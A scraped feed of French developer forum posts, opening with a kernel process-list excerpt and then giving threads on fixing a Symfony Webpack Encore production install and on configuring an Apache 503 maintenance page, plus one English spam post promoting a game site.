Mar 8 12:47:40 vps-xxx kernel: [85382037.891568] [ 9378] 33 9378 26334 23863 253952 0 0 /var/www/html/s
Mar 8 12:47:40 vps-xxx kernel: [85382037.893652] [ 9390] 33 9390 51916 3180 159744 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.895662] [ 9392] 33 9392 51946 3208 159744 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.897638] [ 9395] 33 9395 51837 2610 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.899605] [ 9397] 33 9397 51813 2596 143360 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.901544] [ 9398] 33 9398 51810 2531 143360 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.903511] [ 9404] 33 9404 51825 2575 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.905455] [ 9405] 33 9405 51927 3174 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.907413] [ 9406] 33 9406 51707 2419 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.909357] [ 9407] 33 9407 51707 2467 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.911355] [ 9408] 33 9408 51822 2559 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.913302] [ 9410] 33 9410 51861 2576 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.915270] [ 9412] 33 9412 51868 2618 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.917247] [ 9413] 33 9413 51904 3177 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.919219] [ 9414] 33 9414 51782 2465 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.921172] [ 9416] 33 9416 51743 2456 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.923142] [ 9417] 33 9417 30683 25731 282624 0 0 /var/www/html/e
Mar 8 12:47:40 vps-xxx kernel: [85382037.925238] [ 9418] 33 9418 51906 3163 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.927222] [ 9420] 33 9420 51760 2434 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.929185] [ 9421] 33 9421 51803 2515 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.931174] [ 9422] 33 9422 19187 2667 143360 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.933142] [ 9424] 33 9424 51800 2528 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.935098] [ 9461] 108 9461 600497 105153 1265664 0 0 mysqld
Mar 8 12:47:40 vps-xxx kernel: [85382037.937036] [ 9480] 33 9480 51779 2459 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.939024] [ 9482] 33 9482 51856 2543 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.941057] [ 9523] 33 9523 51905 3102 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.943022] [ 9524] 33 9524 51725 2458 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.944979] [ 9525] 33 9525 51899 3107 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.946943] [ 9526] 33 9526 51828 2613 143360 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.949339] [ 9527] 33 9527 51781 2416 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.951504] [ 9529] 33 9529 51705 2364 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.953466] [ 9530] 33 9530 51808 2528 143360 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.955457] [ 9531] 33 9531 51880 3055 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.957419] [ 9532] 33 9532 51709 2370 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.959385] [ 9533] 33 9533 51707 2418 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.961337] [ 9535] 33 9535 51822 2536 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.963349] [ 9536] 33 9536 51798 2477 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.965382] [ 9543] 33 9543 51798 2482 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.967368] [ 9545] 33 9545 51720 2405 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.969332] [ 9546] 33 9546 51798 2476 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.971296] [ 9547] 33 9547 51798 2473 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.973267] [ 9548] 33 9548 51798 2478 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.975244] [ 9549] 33 9549 51734 2438 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.977359] [ 9550] 33 9550 51920 3040 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.979327] [ 9551] 33 9551 51798 2474 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.981334] [ 9553] 33 9553 52180 2441 143360 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.983395] [ 9554] 33 9554 51798 2472 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.985516] [ 9555] 33 9555 51882 3074 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.987516] [ 9556] 33 9556 51724 2438 143360 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.989528] [ 9557] 33 9557 51709 2372 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.991519] [ 9558] 33 9558 51709 2428 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.993523] [ 9559] 33 9559 51709 2404 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.995513] [ 9561] 33 9561 51709 2421 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.997523] [ 9562] 33 9562 51705 2367 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382037.999517] [ 9563] 33 9563 51705 2367 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382038.001521] [ 9564] 33 9564 51707 2371 139264 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382038.003518] [ 9565] 33 9565 51722 2435 143360 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382038.005522] [ 9566] 33 9566 51882 3078 155648 0 0 apache2
Mar 8 12:47:40 vps-xxx kernel: [85382038.007575] [ 9568] 0 9568 597 17 40960 0 0 service
Mar 8 12:47:40 vps-xxx kernel: [85382038.009580] [ 9572] 0 9572 597 27 40960 0 0 service
Mar 8 12:47:40 vps-xxx kernel: [85382038.011586] [ 9573] 0 9573 2710 70 53248 0 0 systemctl
Mar 8 12:47:40 vps-xxx kernel: [85382038.013673] [ 9574] 0 9574 2056 42 53248 0 0 sed
Mar 8 12:47:40 vps-xxx kernel: [85382038.015610] [ 9575] 33 9575 3253 1424 61440 0 0 perl
Mar 8 12:47:40 vps-xxx kernel: [85382038.017555] [ 9576] 33 9576 3224 1398 65536 0 0 perl
</code></pre></div>Problème d'installation Webpack Encore dans Symfony en mode production, message #2515812023-08-01T02:11:39+02:0021t0r01/@21t0r01https://zestedesavoir.com/forums/sujet/17075/probleme-dinstallation-webpack-encore-dans-symfony-en-mode-production/?page=1#p251581<p>echo $NODE_ENV ne renvoie rien.</p>
<p>Problème résolu, mon site fonctionne (sauf les pages d’erreur perso, j’avais déjà le problème avant).</p>
<p>De fil en aiguille je suis tombé <a href="https://symfony.com/doc/current/frontend/encore/faq.html#how-do-i-deploy-my-encore-assets">là</a>, il est dit qu’on peut juste exécuter en local <code>./node_modules/.bin/encore production</code> pour construire le dossier build, puis le transférer vers le serveur de prod, et même qu’il est préférable de faire comme ça.
Ainsi, pas besoin d’installer Encore sur la prod, pas besoin de NodeJs, même pas besoin du dossier "assets", on transfère les fichiers (sauf dépendances vendor/var/node_module/assets) et puis un petit composer install, et ça roule comme ça <img src="/static/smileys/svg/popcorn.svg" alt=":popcorn:" class="smiley">
La méthode de déploiement que j’utilisais jusque là venait de la doc de l’hébergeur, elle disait simplement de créer le build à partir des fichiers envoyés en prod. </p>
<p>Merci pour ton aide Viki53 ! Je crois que je vais récrire bientôt à propos du mystère des pages d’erreur … A bintôt <img src="/static/smileys/svg/rire.svg" alt=":lol:" class="smiley"> </p>Problème d'installation Webpack Encore dans Symfony en mode production, message #2515762023-07-31T21:48:54+02:00viki53/@viki53https://zestedesavoir.com/forums/sujet/17075/probleme-dinstallation-webpack-encore-dans-symfony-en-mode-production/?page=1#p251576<p>Ce sont donc bien uniquement les dépendances de prod qui sont installées.</p>
<p>Tu n’aurais pas une variable d’environnement sur ton serveur qui forcerait l’installation des dépendances de prod uniquement ?</p>
<p>Si tu exécutes <code>echo $NODE_ENV</code> sur le serveur ça donne quoi ?</p>Problème d'installation Webpack Encore dans Symfony en mode production, message #2515742023-07-31T19:53:58+02:0021t0r01/@21t0r01https://zestedesavoir.com/forums/sujet/17075/probleme-dinstallation-webpack-encore-dans-symfony-en-mode-production/?page=1#p251574<p>oui, une belle différence : </p>
<ul>
<li>en dev : <code> @babel/core@7.20.7 ├── @babel/preset-env@7.20.2 ├── @hotwired/stimulus@3.2.1 ├── @swup/debug-plugin@1.0.3 ├── @swup/fade-theme@1.0.5 ├── @swup/forms-plugin@1.2.1 ├── @swup/js-plugin@1.0.5 ├── @swup/slide-theme@1.0.5 ├── @symfony/stimulus-bridge@3.2.1 ├── @symfony/ux-swup@1.1.0 -> .\vendor\symfony\ux-swup\assets ├── @symfony/webpack-encore@4.4.0 ├── core-js@3.27.1 ├── file-loader@6.0.0 ├── jquery@3.6.3 ├── regenerator-runtime@0.13.11 ├── sass-loader@13.0.0 ├── sass@1.57.1 ├── swup@2.0.19 ├── webpack-cli@4.10.0 ├── webpack-notifier@1.15.0 └── webpack@5.75.0</code></li>
</ul>
<p>en prod : <code>@swup/js-plugin@1.0.5</code></p>
<p>el famoso GPT m’apprend que la commande liste les paquets installés et non pas leurs dépendances, mais je ne sais pas trop quoi faire de cette info <img src="/static/smileys/svg/triste.svg" alt=":(" class="smiley"></p>Problème d'installation Webpack Encore dans Symfony en mode production, message #2515652023-07-31T13:39:11+02:00viki53/@viki53https://zestedesavoir.com/forums/sujet/17075/probleme-dinstallation-webpack-encore-dans-symfony-en-mode-production/?page=1#p251565<p><code>npm ci</code> va installer exactement les dépendances listées dans <code>package-lock.json</code>, sans chercher d’upgrade potentielles (par exemple si tu as des versions du type <code>^2.3.0</code> qui permet d’upgrade si possible). Ça permet de maîtriser les versions installées/utilisées dans les processus automatiques.</p>
<p>Si tu compares <code>npm ls --depth=0</code> entre ton local et la prod, tu as une différence ?</p>
<hr>
<p>Pense à utiliser la syntaxe MarkDown pour formater tes messages et les rendre plus lisibles, notamment pour le code et les logs. <img src="/static/smileys/svg/clin.svg" alt=";)" class="smiley"> </p>Problème d'installation Webpack Encore dans Symfony en mode production, message #2515612023-07-31T12:32:34+02:0021t0r01/@21t0r01https://zestedesavoir.com/forums/sujet/17075/probleme-dinstallation-webpack-encore-dans-symfony-en-mode-production/?page=1#p251561<p>Non, pas d’erreur lors de npm install . J’ai remplacé par npm ci, pas d’erreur non plus mais ça n’a rien changé au problème.</p>
<p>Voici les indications que j’ai quand j’execute des commandes :
composer install :
Package sensio/framework-extra-bundle is abandoned, you should avoid using it. Use Symfony instead.</p>
<p>webpack : Updating dependencies
Lock file operations: 0 installs, 1 update, 0 removals</p>
<ul>
<li>Upgrading symfony/webpack-encore-bundle (v1.17.1 => v2.0.1)
Writing lock file
Installing dependencies from lock file (including require-dev)
Package operations: 0 installs, 1 update, 0 removals</li>
<li>Upgrading symfony/webpack-encore-bundle (v1.17.1 => v2.0.1): Extracting archive</li>
</ul>
<p>et c’est tout.</p>
<p>Tout ce qui apparait dans le node_modules en dev (les @ + les autres) est bien listé en devDependencies. Les @ qui apparaissent dans le node_modules en prod sont donc également devDependencies.</p>
<p>En dependencies j’ai seulement : <a href="/@swup" rel="nofollow" class="ping ping-link">@<span class="ping-username">swup</span></a>/js-plugin</p>Problème d'installation Webpack Encore dans Symfony en mode production, message #2515492023-07-31T09:24:20+02:00viki53/@viki53https://zestedesavoir.com/forums/sujet/17075/probleme-dinstallation-webpack-encore-dans-symfony-en-mode-production/?page=1#p251549<p>Salut,</p>
<p>Les dépendances listées dans <code>package.json</code> (notamment celles manquantes sur le serveur de prod) sont-elles en <code>devDependencies</code> ou <code>dependencies</code> tout court ?</p>
<p>Tu n’as aucune erreur lors du <code>npm install</code> ?</p>
<hr>
<p>Note en passant : Généralement on préfère utiliser <code>npm ci</code> en production pour ne pas installer les dépendances de dev (ou on fait le build en amont, pour ne déployer que les fichiers réellement à servir aux clients).</p>Problème d'installation Webpack Encore dans Symfony en mode production, message #2515422023-07-30T22:30:13+02:0021t0r01/@21t0r01https://zestedesavoir.com/forums/sujet/17075/probleme-dinstallation-webpack-encore-dans-symfony-en-mode-production/?page=1#p251542<p>Bonjour à tous,</p>
<p>J’ai un problème avec l’installation de webpack Encore dans mon projet, en production seulement.</p>
<p>C’est un projet Symfony qui présente des mix de musique. Il y a une page par genre, et sur chaque page les mix sont appelés dynamiquement, on clic sur la vignette dans un carousel et il s’affiche la pochette du mix et un lecteur audio personnalisé.
Les transitions entre les pages et entre les mix sont gérés par Swup de la suite UX. Ce projet inclut donc Webpack Encore. Il a été initialement conçu en PHP 7.4.26. Une fois déployé, les scripts Encore ne fonctionnaient pas (dev server, dev, watch, build), en revanche le site fonctionnait normalement.</p>
<p>Pour résoudre ce problème de scripts qui semblait lié à Encore, j’ai passé le projet de PHP 7.4.26 à PHP 8.1.0 de manière à utiliser la dernière version de Encore. A présent tout fonctionne bien en développement, mais plus en production. Ma procèdure de déploiement n’a pas changé : </p>
<p>1/ Préparation du code en local : ./node_modules/.bin/encore production
2/ Création de l’environnement virtuel NodeJs dans le serveur de prod (CPanel)
3/ Transfert des fichiers du projet vers le serveur (sauf les .env, le vendor, le var et le node_modules)
4/ Dans l’appli, à la racine, en SSH : composer install pour les dépendances PHP, composer require symfony/webpack-encore-bundle pour le webpack
5/ Toujours dans l’appli mais dans l’environnement virtuel NodeJs (pour accès aux controles NPM) : npm install
6/ Puis npm run build . Là j’ai la même erreur qu’avant. </p>
<p>La différence avec avant (en 7.4.26) c’est que maintenant le site ne fonctionne plus. Au moment d’aborder les pages gérées par Swup, j’ai une vilaine erreur 500 : Unknown "stimulus_controller" function. </p>
<p>Je fais bien l’installation du webpack à la racine de mon projet, là ou se trouve le package.json.
Le voici :
`text/x-generic package.json ( ASCII text, with CRLF line terminators )</p>
<p>{
"devDependencies": {
"<a href="/@babel" rel="nofollow" class="ping ping-link">@<span class="ping-username">babel</span></a>/core": "<sup>7.17.0",
"<a href="/@babel" rel="nofollow" class="ping ping-link">@<span class="ping-username">babel</span></a>/preset-env": "</sup>7.16.0",
"<a href="/@hotwired" rel="nofollow" class="ping ping-link">@<span class="ping-username">hotwired</span></a>/stimulus": "<sup>3.0.0",
"<a href="/@swup" rel="nofollow" class="ping ping-link">@<span class="ping-username">swup</span></a>/debug-plugin": "</sup>1.0",
"<a href="/@swup" rel="nofollow" class="ping ping-link">@<span class="ping-username">swup</span></a>/fade-theme": "<sup>1.0",
"<a href="/@swup" rel="nofollow" class="ping ping-link">@<span class="ping-username">swup</span></a>/forms-plugin": "</sup>1.0",
"<a href="/@swup" rel="nofollow" class="ping ping-link">@<span class="ping-username">swup</span></a>/slide-theme": "<sup>1.0",
"<a href="/@symfony" rel="nofollow" class="ping ping-link">@<span class="ping-username">symfony</span></a>/stimulus-bridge": "</sup>3.2.0",
"<a href="/@symfony" rel="nofollow" class="ping ping-link">@<span class="ping-username">symfony</span></a>/ux-swup": "file:vendor/symfony/ux-swup/assets",
"<a href="/@symfony" rel="nofollow" class="ping ping-link">@<span class="ping-username">symfony</span></a>/webpack-encore": "<sup>4.0.0",
"core-js": "</sup>3.23.0",
"file-loader": "<sup>6.0.0",
"jquery": "</sup>3.6.3",
"regenerator-runtime": "<sup>0.13.9",
"sass": "</sup>1.57.1",
"sass-loader": "<sup>13.0.0",
"swup": "</sup>2.0",
"webpack": "<sup>5.74.0",
"webpack-cli": "</sup>4.10.0",
"webpack-notifier": "<sup>1.15.0"
},
"license": "UNLICENSED",
"private": true,
"scripts": {
"dev-server": "encore dev-server",
"dev": "encore dev",
"watch": "encore dev —watch",
"build": "encore production —progress"
},
"dependencies": {
"<a href="/@swup" rel="nofollow" class="ping ping-link">@<span class="ping-username">swup</span></a>/js-plugin": "</sup>1.0.5"
}
}`</p>
<p>le webpack semble bien installé, j’ai bien le webpack.config.js, il semble configuré normalement. </p>
<p>La différence entre ma version en dev et ma version en prod, est que dans le "node_modules", j’ai :</p>
<ul>
<li>en dev une longue série de fichiers incluant .bin, .cache, <a href="/@babel" rel="nofollow" class="ping ping-link">@<span class="ping-username">babel</span></a>, <a href="/@hotwire" rel="nofollow" class="ping ping-link">@<span class="ping-username">hotwire</span></a> et plein d’autres;</li>
<li>en prod, j’ai uniquement les dossiers commencant par @, ainsi que "path-to-regxp" et "package-lock.json".</li>
</ul>
<p>Pas de .bin, donc la commande ./node_modules/.bin/encore production ne fonctionne pas, ni aucun script Encore.</p>
<p>Précédemment, l’échec de compilation finale des assets (npm run build) ne gênait pas le fonctionnement du site, mais maintenant ca ne fonctionne plus.</p>
<p>Je ne comprends pas pourquoi ; à l’exécution des commandes composer et npm je n’ai pas de message d’erreur à part une dépréciation ; j’installe Encore au bon endroit (racine du site, ou se trouve le pakcage.json).
Mais le node_modules ne reçoit pas les éléments nécessaires au fonctionnement.</p>
<p>Je ne peux pas compiler et le site ne fonctionne plus.</p>
<p>J’ai tenté plusieurs choses : MAj de NPM et Node dans le serveur, nettoyage des cache, dépoloiement en mode dev sur le serveur de prod, rien n’y fait.</p>
<p>Pourquoi la version dev est elle nickel alors que dans la version prod les elements necessaires à Encore ne s’installent pas dans le node_modules, alors qu’il est bien visible dans le package.json ? </p>
<p>Merci pour votre attention </p>Réécriture pour maintenance qui ne capture pas tout, message #2453232022-09-12T11:55:17+02:00run3donlineaz/@run3donlineazhttps://zestedesavoir.com/forums/sujet/16060/reecriture-pour-maintenance-qui-ne-capture-pas-tout/?page=1#p245323<p>Your comments on the forum are very reasonable, hope you add comments to the <a href="https://run3donline.com/">run 3</a> website for us to improve further, and thank you for your comments.</p>Réécriture pour maintenance qui ne capture pas tout, message #2451042022-09-01T19:23:49+02:00Ymox/@Ymoxhttps://zestedesavoir.com/forums/sujet/16060/reecriture-pour-maintenance-qui-ne-capture-pas-tout/?page=1#p245104<p>Je me doutais qu’il devait y avoir une histoire d’exclusion à mettre quelque part…</p>
<p>Merci beaucoup ! Ça se comporte comme attendu.</p>
<h4 id="edit">Edit<a aria-hidden="true" tabindex="-1" href="#edit"><span class="icon icon-link"></span></a></h4>
<p>A tête reposée, la logique me paraît évidente au final. Encore merci</p>Réécriture pour maintenance qui ne capture pas tout, message #2450422022-08-30T12:01:23+02:00vibrice/@vibricehttps://zestedesavoir.com/forums/sujet/16060/reecriture-pour-maintenance-qui-ne-capture-pas-tout/?page=1#p245042<p>Lu,</p>
<p>Et avec :</p>
<div class="hljs-code-div hljs-code-apache"><div class="hljs-line-numbers"><span data-count="1"></span><span data-count="2"></span><span data-count="3"></span><span data-count="4"></span></div><pre><code class="hljs language-apache"><span class="hljs-attribute"><span class="hljs-nomarkup">RewriteRule</span></span> ^maintenance\.html$ -<span class="hljs-meta"> [L]</span>
<span class="hljs-attribute"><span class="hljs-nomarkup">RewriteRule</span></span> ^ /maintenance.html<span class="hljs-meta"> [R=503,L]</span>
<span class="hljs-attribute"><span class="hljs-nomarkup">ErrorDocument</span></span> <span class="hljs-number">503</span> /maintenance.html
</code></pre></div>
<p>?</p>
<p>Le <em>Additionally, a 503 Service Unavailable error was encountered while trying to use an ErrorDocument to handle the request</em> voudrait dire qu’il y a récursion et <code>.*</code> inclut normalement ta page de maintenance, ce ne serait donc pas étonnant qu’il y ait une boucle infinie (réécriture => ErrorDocument => réécriture => ErrorDocument => …), du moins un début car Apache semble la détecter sur la répétition du statut 503 lorsqu’il essaie d’appliquer ErrorDocument (sur la seconde itération, je dirais).</p>Réécriture pour maintenance qui ne capture pas tout, message #2450292022-08-29T21:44:38+02:00Ymox/@Ymoxhttps://zestedesavoir.com/forums/sujet/16060/reecriture-pour-maintenance-qui-ne-capture-pas-tout/?page=1#p245029<p>Ha ! Je n’avais pas fermé ce sujet, probablement que je pensais que je mettrais moins de temps à mettre en place la réécriture avec statut 503 et page personnalisée. Et du coup, je me permets de ne pas rouvrir de sujet.</p>
<p>Le fait est que je n’ai pas eu à réutiliser ça trop souvent depuis février, ou alors à des heures suffisamment indues pour que cela ne gêne pas plus que cela et que j’aie la flemme de faire des tests.</p>
<p>J’ai néanmoins tenté de mettre en place ce qui suit, avec mon site hébergé dans <code>/home/leSite/www</code>, et accès en FTP au dossier <code>/home/leSite</code> :</p>
<div class="hljs-code-div hljs-code-apache"><div class="hljs-line-numbers"><span data-count="1"></span><span data-count="2"></span><span data-count="3"></span><span data-count="4"></span><span data-count="5"></span><span data-count="6"></span><span data-count="7"></span><span data-count="8"></span><span data-count="9"></span></div><pre><code class="hljs language-apache"><span class="hljs-attribute"><span class="hljs-nomarkup">RewriteRule</span></span> .* maintenance.html<span class="hljs-meta"> [R=503,L]</span>
<span class="hljs-attribute"><span class="hljs-nomarkup">ErrorDocument</span></span> <span class="hljs-number">503</span> maintenance.html
<span class="hljs-comment"># testé avec</span>
<span class="hljs-comment"># 1 maintenance.html</span>
<span class="hljs-comment"># 2 /maintenance.html</span>
<span class="hljs-comment"># 3 ./maintenance.html</span>
<span class="hljs-comment"># 4 /maintenance.html</span>
<span class="hljs-comment"># 5 /www/maintenance.html</span>
<span class="hljs-comment"># 6 /home/leSite/www/maintenance.html</span>
</code></pre></div>
<p>Avec uniquement <code>RewriteRule</code>, j’ai bien la page, mais j’ai un statut HTTP 200. Après avoir ajouté les flags, j’ai le statut attendu, mais la page standard d’Apache. En ayant ajouté <code>ErrorDocument</code> et l’une des valeurs, voici ce qui s’affiche pour chacune d’entre elles :</p>
<ol>
<li><code>maintenance.html</code> comme unique contenu</li>
<li>la page standard d’Apache, avec <em>Additionally, a 503 Service Unavailable error was encountered while trying to use an ErrorDocument to handle the request.</em></li>
<li><code>./maintenance.html</code> comme unique contenu</li>
<li>la page standard d’Apache, avec <em>Additionally, a 503 Service Unavailable error was encountered while trying to use an ErrorDocument to handle the request.</em></li>
<li>la page standard d’Apache, avec <em>Additionally, a 503 Service Unavailable error was encountered while trying to use an ErrorDocument to handle the request.</em></li>
<li>la page standard d’Apache, avec <em>Additionally, a 503 Service Unavailable error was encountered while trying to use an ErrorDocument to handle the request.</em></li>
</ol>
<p>J’ai donc naïvement tenté d’ajouter <code>ProxyPass maintenance.html !</code>, puis plus réfléchi la modification de <code>RewriteRule .* …</code> en <code>RewriteRule !^maintenance\.html …</code>, mais je ne m’en sors pas.</p>
<p>Est-ce qu’une âme charitable pourrait m’indiquer ce qu’il me manque ?</p>
<p>Merci <img src="/static/smileys/svg/smile.svg" alt=":)" class="smiley"></p>Réécriture pour maintenance qui ne capture pas tout, message #2409462022-02-15T09:10:49+01:00Deuchnord/@Deuchnordhttps://zestedesavoir.com/forums/sujet/16060/reecriture-pour-maintenance-qui-ne-capture-pas-tout/?page=1#p240946<p>Hello,</p>
<figure><blockquote>
<p>Pour faire un vraie redirection avec un code HTTP 302 tu peux utiliser le flag <code>[R]</code> : <a href="https://httpd.apache.org/docs/2.4/fr/rewrite/flags.html#flag_r">https://httpd.apache.org/docs/2.4/fr/rewrite/flags.html#flag_r</a></p>
</blockquote><figcaption><a href="https://zestedesavoir.com/forums/sujet/16060/reecriture-pour-maintenance-qui-ne-capture-pas-tout/?page=1#p240942">luuka</a></figcaption></figure>
<p>Juste un petit point bonne pratique : lorsqu’il s’agit de mettre en place une page de maintenance, il est préférable de ne pas créer de redirection mais plutôt de retourner <a href="https://developer.mozilla.org/fr/docs/Web/HTTP/Status/503">le code de statut <code>503 Service Unavailable</code></a>, qui est prévu pour signaler, comme l’indique le message, que le service est indisponible (pour n’importe quelle raison).</p>
<p>Étant un code d’erreur serveur (comme tous les statuts en <code>5xx</code>), ça a plusieurs avantages, principalement SEO :</p>
<ul>
<li>ça permet d’éviter que ta page de redirection se retrouve indexée par les moteurs de recherche (ce que tu ne veux probablement pas)</li>
<li>ça permet d’éviter que tes pages déjà indexées soient supprimées, et donc que ton site doive être de nouveau <em>crawlée</em> une fois la maintenance terminée</li>
<li>si tu as des systèmes de cache entre ton code serveur et ton client (type CloudFlare ou autre), ils seront préservés</li>
</ul>
<p>Et d’une manière générale, tous les crawlers (moteurs de recherche ou non) ne vont pas plus loin sur la page lorsqu’ils rencontrent ce code de statut, puisque ce dernier dit littéralement « en temps normal, il y a quelque chose ici, mais tout de suite, je ne peux pas te le servir, réessaie plus tard ».</p>
<p>Ta ligne de <code>RewriteRule</code> est donc préférable, avec juste un petit détail :</p>
<div class="hljs-code-div hljs-code-apache"><div class="hljs-line-numbers"><span data-count="1"></span></div><pre><code class="hljs language-apache"><span class="hljs-attribute"><span class="hljs-nomarkup">RewriteRule</span></span> .* maintenance.php<span class="hljs-meta"> [R=503,L]</span>
</code></pre></div>
<p>Le <code>R=503</code> est un flag normalement utilisé pour la redirection, mais dans notre cas, on précise qu’il s’agit d’un statut 503, ce qui provoque une simple réécriture sans redirection, comme l’indique la documentation :</p>
<figure><blockquote>
<p>Tout code de statut de réponse HTTP valide peut être spécifié, en utilisant la syntaxe [R=305], le code de statut 302 étant utilisé par défaut si aucun code n’est spécifié. Le code de statut spécifié n’est pas nécessairement un code de statut de redirection (3xx). Cependant, si le code de statut est en dehors de la plage des codes de redirection (300–399), la chaîne de substitution est entièrement supprimée, et la réécriture s’arrête comme si le drapeau L était utilisé.</p>
<p></p>
</blockquote><figcaption><a href="https://httpd.apache.org/docs/2.2/rewrite/flags.html#flag_r">https://httpd.apache.org/docs/2.2/rewrite/flags.html#flag_r</a></figcaption></figure>Réécriture pour maintenance qui ne capture pas tout, message #2409452022-02-15T07:27:20+01:00WinXaito/@WinXaitohttps://zestedesavoir.com/forums/sujet/16060/reecriture-pour-maintenance-qui-ne-capture-pas-tout/?page=1#p240945<p>Note que si c’était une redirection, ça n’aurait certainement pas fonctionné car maintenance.php aurait aussi été redirigé et tu aurais eu une boucle.</p>Réécriture pour maintenance qui ne capture pas tout, message #2409432022-02-14T22:54:35+01:00Ymox/@Ymoxhttps://zestedesavoir.com/forums/sujet/16060/reecriture-pour-maintenance-qui-ne-capture-pas-tout/?page=1#p240943<p>Au temps pour moi, ce n’est effectivement pas une redirection que je fais et heureusement, cela me semble avoir l’avantage de ne pas invalider les URLs qui continuent d’exister.</p>Réécriture pour maintenance qui ne capture pas tout, message #2409422022-02-14T22:01:25+01:00luuka/@luukahttps://zestedesavoir.com/forums/sujet/16060/reecriture-pour-maintenance-qui-ne-capture-pas-tout/?page=1#p240942<p>Hello <img src="/static/smileys/svg/smile.svg" alt=":)" class="smiley"> ,</p>
<p>Sauf erreur de ma part, utiliser <code>RewriteRule</code> avec <code>[END]</code> ne fait pas une redirection mais se contente de réécrire l’url. </p>
<p>Donc dans ton cas, accéder à <em><a href="http://url.tld/toto">http://url.tld/toto</a></em> affichera le contenu de la page <em>maintenance.php</em> mais la barre d’adresse devrait afficher l’url originale.
De la même manière les logs affichent <em><a href="http://url.tld/toto">http://url.tld/toto</a></em></p>
<p>Pour faire un vraie redirection avec un code HTTP 302 tu peux utiliser le flag <code>[R]</code> : <a href="https://httpd.apache.org/docs/2.4/fr/rewrite/flags.html#flag_r">https://httpd.apache.org/docs/2.4/fr/rewrite/flags.html#flag_r</a></p>Réécriture pour maintenance qui ne capture pas tout, message #2409362022-02-14T15:58:01+01:00Ymox/@Ymoxhttps://zestedesavoir.com/forums/sujet/16060/reecriture-pour-maintenance-qui-ne-capture-pas-tout/?page=1#p240936<p>Rien de particulier il me semble, j’ai l’impression que ce sont les modules par défaut ainsi que ceux pour pouvoir supporter du HTTPS.</p>
<div class="custom-block custom-block-spoiler"><div class="custom-block-heading">Modules actuellement activés</div><div class="custom-block-body"><ul>
<li>access_compat</li>
<li>actions</li>
<li>alias</li>
<li>allowmethods</li>
<li>asis</li>
<li>auth_basic</li>
<li>auth_digest</li>
<li>authn_core</li>
<li>auth_file</li>
<li>authz_groupfile</li>
<li>authz_user</li>
<li>autoindex</li>
<li>cache_disk</li>
<li>cache</li>
<li>cgi (tiens, celui-ci, je pense que je pourrais le désactiver, je n’utilise plus PHP FPM)</li>
<li>dir</li>
<li>env</li>
<li>file_cache</li>
<li>include</li>
<li>isapi</li>
<li>log_config</li>
<li>mine</li>
<li>negociation</li>
<li>rewrite</li>
<li>setenvif</li>
<li>socache_shmcb</li>
<li>ssl</li>
<li>userdir (je l’avais oublié, celui-là, je devrais pouvoir le désactiver aussi)</li>
<li>vhost_alias</li>
